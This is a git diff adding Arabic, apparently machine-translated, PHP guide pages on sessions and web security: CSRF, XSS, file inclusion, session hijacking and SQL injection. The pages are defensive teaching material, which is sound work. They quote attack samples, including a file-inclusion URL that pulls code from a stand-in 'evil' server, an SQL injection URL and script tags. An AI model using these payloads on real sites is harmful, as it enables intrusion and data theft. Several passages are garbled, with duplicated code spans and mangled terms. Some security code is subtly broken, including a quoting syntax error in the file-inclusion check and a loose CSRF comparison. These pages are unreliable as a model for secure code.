+**ملاحظة:** يجب أن تكون الدالة session\_start () **أول شيء** في المستند. **قبل** أي علامات HTML.
+
+انتاج:  
+يتم تعيين متغيرات الجلسة.
+
+## احصل على قيم متغيرات جلسة PHP
+
+لاحظ أنه لا يتم تمرير متغيرات الجلسة بشكل فردي إلى كل صفحة جديدة ، بل يتم استرجاعها من الجلسة التي نفتحها في بداية كل صفحة (session\_start ()).
+
+لاحظ أيضًا أنه يتم تخزين جميع قيم متغير الجلسة في المتغير $ \_SESSION العالمي:
+
+**مثال:**
+
+ `<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // Echo session variables that were set on previous page 
+ echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>"; 
+ echo "Favorite animal is " . $_SESSION["favanimal"] . "."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+انتاج:  
+اللون المفضل باللون الأزرق.  
+الحيوان المفضل هو الكلب.
+
+هناك طريقة أخرى لإظهار كافة قيم متغير جلسة العمل لجلسة مستخدم هي تشغيل التعليمة البرمجية التالية:
+
+ `<?php 
+ print_r($_SESSION); 
+ ?> 
+` 
+
+### كيف يعمل؟
+
+تحدد معظم الجلسات مفتاح المستخدم على كمبيوتر المستخدم الذي يبدو كالتالي: 765487cf34ert8dede5a562e4f3a7e12.  
+وبعد ذلك ، عندما يتم فتح جلسة على صفحة أخرى ، فإنه يقوم بمسح جهاز الكمبيوتر للحصول على مفتاح المستخدم.  
+إذا كان هناك تطابق ، فإنه يصل إلى تلك الجلسة ، إذا لم يكن كذلك ، فسيبدأ جلسة جديدة.
+
+## تعديل متغير الجلسة
+
+لتغيير متغير جلسة ، ما عليك سوى الكتابة فوقه:
+
+**مثال:**
+
+ `<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // to change a session variable, just overwrite it 
+ $_SESSION["favcolor"] = "pink"; 
+ print_r($_SESSION); 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+## تدمير دورة PHP
+
+لإزالة جميع متغيرات الجلسة العامة وتدمير الجلسة ، استخدم _جلسة العمل_ unset () \_ وتدمير _الجلسة_ () \_:
+
+**مثال:**
+
+ `<?php 
+ session_start(); 
+ ?> 
+ <!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // remove all session variables 
+ session_unset(); 
+ 
+ // destroy the session 
+ session_destroy(); 
+ ?> 
+ 
+ </body> 
+ </html> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/cross-site-request-forgery/index.md b/client/src/guide/arabic/php/security/cross-site-request-forgery/index.md
new file mode 100644
index 0000000000..237b5da376
--- /dev/null
+++ b/client/src/guide/arabic/php/security/cross-site-request-forgery/index.md
@@ -0,0 +1,55 @@
+---
+title: Cross Site Request Forgery
+localeTitle: تزوير عبر الموقع
+---
+## تزوير عبر الموقع
+
+Cross Site Request Forgery هي نقطة ضعف في التطبيق بسبب عدم قيام مبرمج بالتحقق من المكان الذي تم إرسال طلب منه - يتم إرسال هذا الهجوم إلى مستخدم مستوى امتياز عالي للحصول على مستوى أعلى من الوصول إلى التطبيق.
+
+### مثال عبر موقع هجوم طلب التزوير
+
+تسمح مدونة إلكترونية للمستخدمين بإرسال تعليقات وتضمين صورة في التعليق ، حيث تسمح لوحة الإدارة للمدونة `/admin/deletecomment.php?id=123` المدونة بحذف تعليق عن طريق تحميل عنوان URL `/admin/deletecomment.php?id=123` . يمكن لمستخدم ضار إنشاء علامة صورة `<img src="/admin/deletecomment.php?id=123" />` عنوان url الخاص بالتعليق على سبيل المثال `<img src="/admin/deletecomment.php?id=123" />` حتى في المرة القادمة التي يقوم فيها المشرف بعرض التعليق ، يقوم جهاز الكمبيوتر الخاص `<img src="/admin/deletecomment.php?id=123" />` بتحميل عنوان url وحذف التعليق رقم 123.
+
+### الدفاع عن موقع الويب الخاص بك من موقع التقاطع طلب هجمات التزوير في PHP
+
+للدفاع ضد هجوم موقع التزوير طلب التزوير ، يجب عليك التحقق من رمز مميز تم تغييره بشكل منتظم. `/admin/deletecomment.php?id=123` عنوان url `/admin/deletecomment.php?id=123` إلى `/admin/deletecomment.php?id=123&csrf-token=random-per-user-unique-string-here` .
+
+ `<?php 
+ // Checking a request's CSRF Token (if true the comment is deleted, if false the comment remains.) 
+ session_start(); 
+ if ($_GET['csrf-token'] == $_SESSION['csrf-token']){ 
+  return true; 
+ } else { 
+  return false; 
+ } 
+` 
+
+**نصائح:**
+
+*   احتفظ بـ CSRF Token عشوائيًا تمامًا وتغييرًا لكل جلسة (يمكن أن تساعد وظائف openssl في ذلك)
+*   تعتبر جلسات PHP مفيدة لتخزين CSRF Token في متناول كل من المستخدم والخادم ، يمكنك أيضًا جعل قاعدة بيانات هذه العملية مدفوعة إذا كنت مائلاً.
+*   غيّر رمز CSRF في جلسة كل 24 ساعة. في أحد التطبيقات عالية المخاطر ، قد ترغب في تغييره بناءً على كل طلب ناجح ، ومع ذلك سيؤدي ذلك إلى مشكلات مع المستخدمين الذين يستخدمون علامات تبويب متعددة.
+
+#### توليد آمن لسلسلة
+
+عند تحديد CSRF Token ، من المهم أن يكون من المستحيل تخمين المفتاح. يمكن أن تؤدي وظائف OpenSSL في PHP إلى إنشاء مفتاح عشوائي لك وتخزينه كمتغير جلسة عمل.
+
+ `<?php 
+ session_start(); 
+ $_SESSION['csrf-token'] = bin2hex(openssl_random_pseudo_bytes(16)); 
+` 
+
+#### استخدام رمز CSRF لإكمال الطلبات الشرعية
+
+يمكنك تضمين متغير الجلسة الذي قمت بحفظه مسبقًا مع رمز CSRF الخاص بك في عنوان URL تأكد من أنه مسموح للمسؤول الشرعي بحذف التعليقات. بدون الرمز الصحيح سيتم حظر الطلب.
+
+ `<?php 
+ session_start(); 
+ echo '<a href="/admin/?id=123&csrf-token='.$_SESSION['csrf-token'].'">Delete Comment</a>'; // Only the logged in user has access to the CSRF Token - the token isn't accessible to the attacker preventing their attack from being successful. 
+` 
+
+#### معلومات اكثر:
+
+*   [OWASP Wiki - Cross Site Request Forgery](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
+*   [php.net bin2hex () دليل](https://secure.php.net/manual/en/function.bin2hex.php)
+*   [php.net openssl\_random\_pseudo\_bytes () دليل](https://secure.php.net/manual/en/function.openssl-random-pseudo-bytes.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/cross-site-scripting/index.md b/client/src/guide/arabic/php/security/cross-site-scripting/index.md
new file mode 100644
index 0000000000..71bb78c8a1
--- /dev/null
+++ b/client/src/guide/arabic/php/security/cross-site-scripting/index.md
@@ -0,0 +1,77 @@
+---
+title: Cross Site Scripting
+localeTitle: عبر موقع البرمجة
+---
+## عبر موقع البرمجة
+
+Cross Site Scripting هو نوع من نقاط الضعف في تطبيق الويب بسبب عدم قيام مبرمج بتعقيم المدخلات قبل إخراج المدخلات إلى متصفح الويب (على سبيل المثال تعليق على مدونة). يتم استخدامه عادة لتشغيل جافا سكريبت الخبيثة في متصفح الويب للقيام بهجمات مثل سرقة ملفات تعريف الارتباط للجلسة بين إجراءات أخرى ضارة للحصول على امتيازات مستوى أعلى في تطبيق الويب.
+
+### مثال عبر Scripting هجوم الموقع
+
+تسمح المدونة للمستخدمين بوضع تعليقاتهم باستخدام علامات HTML ، إلا أن النص البرمجي الذي يمد المدونة لا يزيل علامات `<script>` تسمح لأي مستخدم بتشغيل javascript على الصفحة. يمكن للمهاجم استخدام هذه الميزة لصالح تشغيل javascript ضار في المستعرض. يمكن أن تصيب المستخدمين بالبرامج الضارة ، وتسرق ملفات تعريف الارتباط للجلسة ، والمزيد.
+
+ `<script> 
+  alert('Cross Site Scripting!'); 
+ </script> 
+` 
+
+### الدفاع عن موقع الويب الخاص بك من هجمات البرمجة عبر الموقع في PHP
+
+في PHP هناك وظيفتان `htmlspecialchars()` ، `htmlspecialchars()` و `strip_tags()` ، مدمجة لحماية نفسك من هجمات البرمجة عبر الموقع.
+
+`htmlspecialchars($string)` وظيفة `htmlspecialchars($string)` منع سلسلة HTML من العرض كملف HTML وعرضها كنص عادي لمتصفح الويب. **htmlspecialchars () مثال التعليمات البرمجية**
+
+ `<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ echo htmlspecialchars($usercomment); 
+` 
+
+الطريقة الأخرى هي `strip_tags($string, $allowedtags)` التي تزيل كل علامات HTML باستثناء علامات HTML التي قمت بإضافتها إلى القائمة البيضاء. من المهم أن نلاحظ أنه مع وظيفة `strip_tags()` يجب أن تكون أكثر حذراً ، هذه الوظيفة لا تمنع المستخدم من تضمين javascript كحلقة ارتباط ، سيكون عليك تطهير ذلك بمفردنا.
+
+**code\_tags () مثال التعليمات البرمجية**
+
+ `<?php 
+ $usercomment = "<string>alert('Cross Site Scripting!');</script>"; 
+ $allowedtags = "<p><a><h1><h2><h3>"; 
+ echo strip_tags($usercomment, $allowedtags); 
+` 
+
+**ضبط رأس الحماية X-XSS:**
+
+في PHP ، يمكنك إرسال `X-XSS-Protection` Header الذي سيخبر المتصفحات بالتحقق من هجوم Scripting عبر موقع ويب منع الصفحة من التحميل. هذا لا يمنع جميع الهجمات النصية عبر الموقع فقط تنعكس منها ويجب استخدامها في تركيبة مع أساليب أخرى.
+
+ `<?php 
+ header("X-XSS-Protection: 1; mode=block"); 
+` 
+
+**كتابة وظيفة التعقيم الخاصة بك** خيار آخر ، إذا كنت ترغب في مزيد من التحكم في كيفية عمل التطهير ، هو كتابة وظيفة تعقيم HTML الخاصة بك ، وهذا لا يوصى به للمبتدئين PHP كخطأ من شأنه أن يجعل موقع الويب الخاص بك عرضة.
+
+### الدفاع عن موقع الويب الخاص بك من هجمات البرمجة النصية عبر الموقع مع سياسة أمان المحتوى
+
+إن اتباع نهج فعال لمنع هجمات البرمجة النصية عبر المواقع ، والتي قد تتطلب الكثير من التعديلات على تصميم وبرمجية تطبيق الويب الخاص بك ، هو استخدام سياسة أمن المحتوى.
+
+#### عيّن سياسة أمان المحتوى كرأس HTTP
+
+الطريقة الأكثر شيوعًا لتعيين سياسة أمان المحتوى هي عن طريق تعيينها مباشرةً في رأس HTTP. يمكن القيام بذلك عن طريق خادم الويب من خلال تعديل إعداداته أو إرساله عبر PHP.
+
+**مثال على سياسة أمان المحتوى التي تم تعيينها في رأس HTTP**
+
+ `<?php 
+ header("content-security-policy: default-src 'self'; img-src https://*; child-src 'none';"); 
+` 
+
+#### عيّن سياسة أمان المحتوى كعلامات وصفية
+
+يمكنك تضمين سياسة أمان المحتوى في HTML الخاص بالصفحة وتعيينها على أساس كل صفحة على حدة. تتطلب هذه الطريقة منك تعيين كل صفحة أو تفقد فائدة السياسة.
+
+**مثال على سياسة أمان المحتوى التي تم تعيينها في علامة HTML الوصفية**
+
+ `<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 
+` 
+
+#### معلومات اكثر:
+
+*   [OWASP Wiki - البرمجة عبر الموقع](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
+*   [php.net strip\_tags () دليل](https://secure.php.net/manual/en/function.strip-tags.php)
+*   [php.net htmlspecialchars () دليل](https://secure.php.net/manual/en/function.htmlspecialchars.php)
+*   [MDN - سياسة أمان المحتوى (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/index.md b/client/src/guide/arabic/php/security/index.md
new file mode 100644
index 0000000000..f4bd77ec09
--- /dev/null
+++ b/client/src/guide/arabic/php/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: الأمان
+---
+## الأمان
+
+عند كتابة كود PHP ، من المهم جدًا وضع مفاهيم الأمان في الاعتبار لتجنب كتابة التعليمات البرمجية الضعيفة.
+
+### أنواع نقاط الضعف
+
+*   [Cross Site Request Forgery](/php/security/cross-site-request-forgery) وجود ثغرة أمنية في التطبيق بسبب عدم قيام مبرمج بالتحقق من المكان الذي تم إرسال طلب منه - يتم إرسال هذا الهجوم إلى مستخدم مستوى امتياز عالي للحصول على مستوى أعلى من الوصول إلى التطبيق.
+*   [Cross Site Scripting](/php/security/cross-site-scripting) وجود ثغرة في التطبيق بسبب عدم قيام مبرمج بتعقيم المدخلات قبل إخراج المدخلات إلى المتصفح (على سبيل المثال تعليق على مدونة). يتم استخدامه عادة لتشغيل javascript ضار في المستعرض للقيام بهجمات مثل سرقة ملفات تعريف الارتباط الجلسة بين الإجراءات الخبيثة الأخرى للحصول على امتيازات مستوى أعلى في التطبيق.
+*   [Local File Inclusion:](/php/security/local-file-inclusion) ثغرة في التطبيق تسببها مبرمج تتطلب إدخال ملف يقدمه المستخدم ولا يعقم المدخلات قبل الوصول إلى الملف المطلوب. وينتج عن ذلك وجود ملف يتم تضمينه في مكان لا ينبغي أن يكون فيه.
+*   [Remote File Inclusion](/php/security/remote-file-inclusion) ثغرة في [الملف](/php/security/remote-file-inclusion) الضعف في التطبيق الناتج عن المبرمج الذي يتطلب إدخال ملف يقدمه المستخدم ولا يعقم المدخلات قبل الوصول إلى الملف المطلوب. وينتج عن ذلك سحب ملف من خادم بعيد وتضمين المكان الذي لا ينبغي أن يكون فيه.
+*   [اختطاف جلسة العمل](/php/security/session-hijacking) مشكلة عدم حصانة ناجمة عن قيام أحد المهاجمين بالوصول إلى معرِّف جلسة المستخدم والتمكن من استخدام حساب مستخدم آخر ينتحل صفته. يستخدم هذا غالباً للوصول إلى حساب مستخدم إداري.
+*   [معرّف جلسة العمل معرّف](/php/security/session-identifier-acquirement) جلسة التملك Acquirement عبارة عن ثغرة أمنية ناجمة عن مهاجم قادر على إما تخمين معرف جلسة المستخدم أو استغلال ثغرات في التطبيق نفسه أو مستعرض المستخدم للحصول على معرف جلسة العمل.
+*   [SQL Injection](/php/security/sql-injection) ثغرة أمنية في التطبيق ناجمة عن مبرمج لا يعقم المدخلات قبل تضمينه في استعلام في قاعدة البيانات. هذا يؤدي إلى مهاجم قراءة كاملة وكثير من الأحيان كتابة الوصول إلى قاعدة البيانات. مع هذا النوع من الوصول يمكن للمهاجم القيام بأشياء سيئة للغاية.
+
+#### معلومات اكثر:
+
+[صفحة هجمات OWASP Wiki](https://www.owasp.org/index.php/Category:Attack)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/local-file-inclusion/index.md b/client/src/guide/arabic/php/security/local-file-inclusion/index.md
new file mode 100644
index 0000000000..914b3c59c7
--- /dev/null
+++ b/client/src/guide/arabic/php/security/local-file-inclusion/index.md
@@ -0,0 +1,23 @@
+---
+title: Local File Inclusion
+localeTitle: ادراج ملف محلي
+---
+## ادراج ملف محلي
+
+ثغرة أمنية في التطبيق تسببها مبرمج تتطلب إدخال ملف يقدمه المستخدم ولا يعقم المدخلات قبل الوصول إلى الملف المطلوب. وينتج عن ذلك وجود ملف يتم تضمينه في مكان لا ينبغي أن يكون فيه.
+
+### مثال على هجمات تضمين الملف المحلي
+
+يسمح لك موقع الويب بمشاهدة ملفات PDF على هيئة `download.php?file=myfile.php` ، نظرًا لعدم وجود فحص مناسب لمستخدم ضار قادر على طلب / etc / passwd والحصول على معلومات تكوين حساسة من خادم الويب.
+
+### الدفاع عن موقع الويب الخاص بك من هجمات تضمين الملف المحلي في PHP
+
+ `<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [OWASP Wiki - اختبار لدمج ملف محلي](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/remote-file-inclusion/index.md b/client/src/guide/arabic/php/security/remote-file-inclusion/index.md
new file mode 100644
index 0000000000..6caca6166f
--- /dev/null
+++ b/client/src/guide/arabic/php/security/remote-file-inclusion/index.md
@@ -0,0 +1,27 @@
+---
+title: Remote File Inclusion
+localeTitle: إدراج الملف عن بعد
+---
+## إدراج الملف عن بعد
+
+ثغرة أمنية في التطبيق تسببها مبرمج تتطلب إدخال ملف يقدمه المستخدم ولا يعقم المدخلات قبل الوصول إلى الملف المطلوب. وينتج عن ذلك سحب ملف من خادم بعيد وتضمين المكان الذي لا ينبغي أن يكون فيه.
+
+### مثال على هجمات تضمين الملفات عن بعد
+
+يسمح لك موقع الويب بمشاهدة ملفات PDF كملف `download.php?file=myfile.php` ، نظرًا لنقص التحقق الصحيح من مستخدم ضار قادر على طلب مورد بعيد وإدراجه في البرنامج النصي. يمكن أن يصبح عنوان URL `download.php?file=http://myevilserver.gtld/evilcode.php` يمكن أن يتم `download.php?file=http://myevilserver.gtld/evilcode.php` ذلك إلى المستخدم أو في الحالات الشديدة تشغيل شفرة PHP الفعلية على الخادم الخاص بك.
+
+### الدفاع عن موقع الويب الخاص بك من هجمات تضمين الملفات عن بعد في PHP
+
+سيوفر كود PHP التالي حماية قوية ضد هجمات تضمين الملفات عن بعد
+
+ `<?php 
+ if(basename($_GET['file]) !== $_GET['file']) { 
+  die('INVALID FILE REQUESTED'); 
+ } 
+` 
+
+*   يمكنك تعطيل `allow_url_fopen` في ملف php.ini كحماية إضافية ضد تضمين الملفات عن بعد.
+
+#### معلومات اكثر:
+
+*   [OWASP Wiki - اختبار لدمج ملف عن بعد](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/session-hijacking/index.md b/client/src/guide/arabic/php/security/session-hijacking/index.md
new file mode 100644
index 0000000000..4bcb6c0c1c
--- /dev/null
+++ b/client/src/guide/arabic/php/security/session-hijacking/index.md
@@ -0,0 +1,44 @@
+---
+title: Session Hijacking
+localeTitle: اختطاف الجلسة
+---
+## اختطاف الجلسة
+
+اختطاف الجلسة عبارة عن ثغرة أمنية ناجمة عن قيام أحد المهاجمين بالوصول إلى معرف جلسة العمل الخاص بالمستخدم والتمكن من استخدام حساب مستخدم آخر ينتحل صفته. يستخدم هذا غالباً للوصول إلى حساب مستخدم إداري.
+
+### الدفاع ضد هجمات اختطاف الجلسة في PHP
+
+للدفاع ضد هجمات اختطاف جلسة العمل ، يلزمك التحقق من معلومات المتصفح والموقع الحالي للمستخدم مقابل المعلومات المخزنة حول الجلسة. فيما يلي مثال للتنفيذ يمكن أن يساعد في تخفيف آثار هجوم اختطاف جلسة العمل. يقوم بالتحقق من عنوان IP و "وكيل المستخدم" ، وإذا انتهت الجلسة ، قم بإزالة جلسة قبل استئنافها.
+
+ `<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [دليل أمان جلسة عمل php.net](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/session-identifier-acquirement/index.md b/client/src/guide/arabic/php/security/session-identifier-acquirement/index.md
new file mode 100644
index 0000000000..ea6ddf9243
--- /dev/null
+++ b/client/src/guide/arabic/php/security/session-identifier-acquirement/index.md
@@ -0,0 +1,59 @@
+---
+title: Session Identifier Acquirement
+localeTitle: معرف الجلسة
+---
+## معرف الجلسة
+
+معرّف جلسة العمل يعد "التعرّف على هوية" نقطة ضعف ناتجة عن قدرة أحد المهاجمين على تخمين معرّف جلسة المستخدم أو استغلال الثغرات الموجودة في التطبيق نفسه أو في مستعرض المستخدم للحصول على معرف جلسة العمل. هذا الهجوم هو شرط أساسي للقيام بهجوم خطف جلسة.
+
+### مثال
+
+لدى أحد المهاجمين بعض الخيارات لتنفيذ هجوم اكتساب معرّف جلسة العمل.
+
+*   تخمين المعرّف: يمكن أن يسمح معرف جلسة عمل قصيرة وقابلة للتخمين للمهاجم بإجبار معرّف جلسة العمل على الإجبار.
+*   مهاجمة المتصفح: في حال قمت بتخزين معرف جلسة العمل الخاص بك في ملفات تعريف الارتباط بالمتصفح - إذا كان موقع الويب الخاص بك عرضة للعمليات النصية عبر الموقع ، يمكن للمهاجم استخدام الثغرة لجمع ملفات تعريف معرف جلسة العمل والوصول إلى مناطق مستوى الامتياز العالي (على سبيل المثال لوحة المشرف) .
+*   تغيير المعرّف إلى اختيار المهاجم: في الإصدارات الأقدم من PHP ، تمكنت من تعيين معرف جلسة في عنوان URL. يتم تعطيله افتراضيًا الآن ، إذا تأكدت من أن `session.use_trans_sid` غير صحيح. هذه ليست قضية مشتركة بعد الآن ، ومع ذلك لا يزال يمكن أن يحدث ، أفضل آمنة من آسف.
+
+### الدفاع ضد "معرّف جلسة العمل" هجمات الاكتاف في PHP
+
+للدفاع ضد هجمات معرف هوية الجلسة ، يجب عليك التحقق من محاولة الوصول إلى الجلسة مقابل عدة عوامل للتأكيد على ما إذا كان الوصول شرعيًا ولتجنب المستخدم من اختطاف جلسة المستخدم بنجاح. فيما يلي مثال للتنفيذ يمكن أن يساعد في تخفيف آثار هجوم اكتساب معرّف جلسة العمل. ويتحقق من عنوان IP و "وكيل المستخدم" ، وإذا انتهت الجلسة "إزالة جلسة عمل قبل الحصول عليها".
+
+ `<?php 
+ session_start(); 
+ 
+ // Does IP Address match? 
+ if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress']) 
+ { 
+ session_unset(); 
+ session_destroy(); 
+ } 
+ 
+ // Does user agent match? 
+ if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent']) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ 
+ // Is the last access over an hour ago? 
+ if (time() > ($_SESSION['lastaccess'] + 3600)) 
+ { 
+  session_unset(); 
+  session_destroy(); 
+ } 
+ else 
+ { 
+  $_SESSION['lastaccess'] = time(); 
+ } 
+` 
+
+**نصائح:**
+
+*   تخزين الكثير من المعلومات حول الجلسة الحالية (سلسلة وكيل المستخدم ، عنوان IP ، آخر وقت وصول ، إلخ)
+*   تحقق من كل طلب مقابل المعلومات المخزنة حول الجلسة (هل تتطابق؟ إذا لم تحذف الجلسة وتطلب من المستخدم تسجيل الدخول مرة أخرى)
+*   لا ينبغي أن تستمر الجلسات إلى الأبد - يجب أن تنتهي صلاحيتها عند نقطة معينة للحفاظ على أمان جلسة العمل.
+*   يقيّد السعر عدد الجلسات التي يمكن للمستخدم محاولة الوصول إليها (هل حاول المستخدم الوصول إلى أكثر من 1000 جلسة غير صالحة؟ فرص هي التخمين - منع عنوان IP من تجربة أي جلسات إضافية لبضع ساعات).
+
+#### معلومات اكثر:
+
+*   [دليل أمان جلسة عمل php.net](https://secure.php.net/manual/en/session.security.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/security/sql-injection/index.md b/client/src/guide/arabic/php/security/sql-injection/index.md
new file mode 100644
index 0000000000..66254aaa26
--- /dev/null
+++ b/client/src/guide/arabic/php/security/sql-injection/index.md
@@ -0,0 +1,73 @@
+---
+title: SQL Injection
+localeTitle: حقن SQL
+---
+## حقن SQL
+
+ثغرة أمنية في التطبيق بسبب مبرمج لا يعقم المدخلات قبل تضمينها في استعلام في قاعدة البيانات. هذا يؤدي إلى مهاجم قراءة كاملة وكثير من الأحيان كتابة الوصول إلى قاعدة البيانات. مع هذا النوع من الوصول يمكن للمهاجم القيام بأشياء سيئة للغاية.
+
+### مثال على حقن SQL الهجوم
+
+يقوم البرنامج النصي PHP أدناه بتشغيل عبارة SQL للحصول على البريد الإلكتروني الخاص بالمستخدم بواسطة المعرّف. ومع ذلك ، لا يتم تعقيم الإدخال مما يجعله عرضة لحقن SQL
+
+ `<?php 
+ $input = $_GET['id']; 
+ $dbserver = "localhost"; 
+ $dbuser = "camper"; 
+ $dbpass = "supersecretcampsitepassword"; 
+ $dbname = "freecodecamp"; 
+ 
+ $conn = new mysqli($dbserver, $dbuser, $dbpass, $dbname); 
+ 
+ if ($conn->connect_error) { 
+    die("Connection failed: " . $conn->connect_error); 
+ } 
+ 
+ $sql = "SELECT email FROM users WHERE id =" . $input; 
+ 
+ $result = $conn->query($sql); 
+ 
+ if ($result->num_rows > 0) { 
+    while($row = $result->fetch_assoc()) { 
+        echo $row["email"]; 
+    } 
+ } else { 
+    echo "no results"; 
+ } 
+ 
+ $conn->close(); 
+` 
+
+ ``SELECT email FROM users WHERE id = `$input`; 
+`` 
+
+إذاً ، مع ما ذكر أعلاه ، فإن المدخلات ليست من النوع المدبب (بمعنى أن يتم إدخال الإدخال مع (int) بحيث لا يُسمح إلا بعدد واحد فقط) كما لا يمكن الهروب مما يسمح لشخص ما بتنفيذ هجوم حقن SQL - على سبيل المثال عنوان URL `getemailbyuserid.php?id=1'; My Query Here-- -` سيتيح لك تشغيل استعلامات SQL التعسفية دون بذل مجهود كبير.
+
+### الدفاع عن موقع الويب الخاص بك من هجمات حقن SQL في PHP
+
+هناك عدة طرق للدفاع عن موقعك الإلكتروني من هجمات حقن SQL. هذه الطرق هي القائمة البيضاء ، نوع الصب ، وهروب الأحرف
+
+**هيتليستينغ:** يتم استخدام نهج القائمة البيضاء في الحالات التي يتوقع فيها بعض المدخلات. يمكنك سرد كل إدخال متوقع في أحد مفاتيح تبديل PHP ومن ثم إعداد افتراضي للإدخال غير الصحيح. لا داعي للقلق بشأن مشكلة في كتابة النوع أو تجاوز مسار الهروب ولكن الإدخال المسموح به محدود بشكل غير محدود. يبقى خيارًا ، راجع المثال أدناه.
+
+ `<?php 
+ switch ($input) { 
+  case "1": 
+    //db query 1 
+    break; 
+  case "2": 
+    //db query 2 
+    break; 
+  default: 
+    // invalid input return error 
+ } 
+` 
+
+**نوع الصب:** يشيع استخدام أسلوب صب النمط لتطبيق يستخدم مدخلات رقمية. قم ببساطة بإدخال الإدخال باستخدام `(int) $input` وسيتم السماح فقط بقيمة رقمية.
+
+**حرف الهروب:** سوف يفلت أسلوب الهروب من الأحرف من أحرف مثل علامات الاقتباس والشرطة المائلة التي يوفرها المستخدم لمنع حدوث هجوم. إذا كنت تستخدم MySQL Server ومكتبة MySQLi للوصول إلى قاعدة البيانات الخاصة بك ، فسوف تأخذ الدالة `mysqli_real_escape_string($conn, $string)` الوسيطتين ، اتصال MySQLi ، والسلسلة وستفلتا بشكل صحيح من إدخال المستخدم لمنع هجوم حقن SQL . تعتمد الوظيفة الدقيقة التي تستخدمها على نوع قاعدة البيانات ومكتبة php التي تستخدمها في التحقق من وثائق مكتبة php للحصول على مزيد من المعلومات حول الهروب من مدخلات المستخدم.
+
+#### معلومات اكثر:
+
+*   [OWASP Wiki - SQL Injection](https://www.owasp.org/index.php/SQL_Injection)
+*   [php.net SQL حقنه دليل](https://secure.php.net/manual/en/security.database.sql-injection.php)
+*   [php.net MySQLi ريال الهروب سلسلة دليل](https://secure.php.net/manual/en/mysqli.real-escape-string.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/sessions/index.md b/client/src/guide/arabic/php/sessions/index.md
new file mode 100644
index 0000000000..e1048ba54d
--- /dev/null
+++ b/client/src/guide/arabic/php/sessions/index.md
@@ -0,0 +1,56 @@
+---
+title: Sessions
+localeTitle: جلسات
+---
+## جلسات
+
+الجلسات هي ميزة في PHP تسمح لك بتخزين جانب خادم البيانات حول المستخدم. عند إعداد جلسة عمل ، يتم تعيين ملف تعريف ارتباط للمتصفح يحدد المستخدم إلى PHP بحيث يعرف PHP أي من متغيرات جانب الخادم يمكن الوصول إليها.
+
+### بدء الجلسة
+
+في كل صفحة تريد الوصول إلى الجلسة ، ستحتاج إلى بدء (أو تحميل) الجلسة. للقيام بذلك ، قم بتشغيل الدالة `session_start()` التي تقوم بتحميل نظام جلسة PHP.
+
+ `<?php 
+ session_start(); 
+` 
+
+تجدر الإشارة إلى أنه عند استخدام الجلسات المستندة إلى ملفات تعريف الارتباط ، يجب استدعاء session\_start () قبل إخراج أي شيء إلى المتصفح. أي شيء آخر سيؤدي إلى خطأ.
+
+### الوصول إلى وإعداد البيانات في الدورة
+
+المتغير `$_SESSION['key']` هو نوع خاص من الصفيف (باستخدام ملف تعريف ارتباط المتصفح لتحديد الجلسة التي يمكن الوصول إليها).
+
+في المثال التالي ، ترى أن اختيار المستخدم للموضوع قد تم تعيينه على المظهر رقم واحد.
+
+ `<?php 
+ session_start(); 
+ $_SESSION['themechoice'] = 1; 
+` 
+
+يشبه الوصول إلى متغير جلسة إلى إعداد واحد. ما عليك سوى تضمين المتغير الذي تحتاج إلى الوصول إليه. على سبيل المثال صدى بها كما هو موضح في المثال رمز أدناه.
+
+ `<?php 
+ session_start(); 
+ echo $_SESSION['themechoice']; 
+` 
+
+### إزالة الجلسة
+
+لإزالة جلسة من النظام ، قم بتشغيل شفرة PHP التالية. سيؤدي ذلك إلى إلغاء تعيين متغيرات الجلسة وحذفها من النظام.
+
+ `<?php 
+ session_unset(); 
+ session_destroy(); 
+` 
+
+### الجلسات مؤقتة
+
+من المهم عدم التعامل مع الجلسة كمخزن دائم. يتم تطهيرها من وقت لآخر من قبل المطور ، كلما تم نقل التطبيق إلى خادم مضيف جديد ، من خلال التطبيق نفسه (على سبيل المثال زر تسجيل الخروج) ، وحتى أثناء صيانة الخادم. لتخزين البيانات على المدى الطويل ، تأكد من استخدام قاعدة البيانات.
+
+### الأمان
+
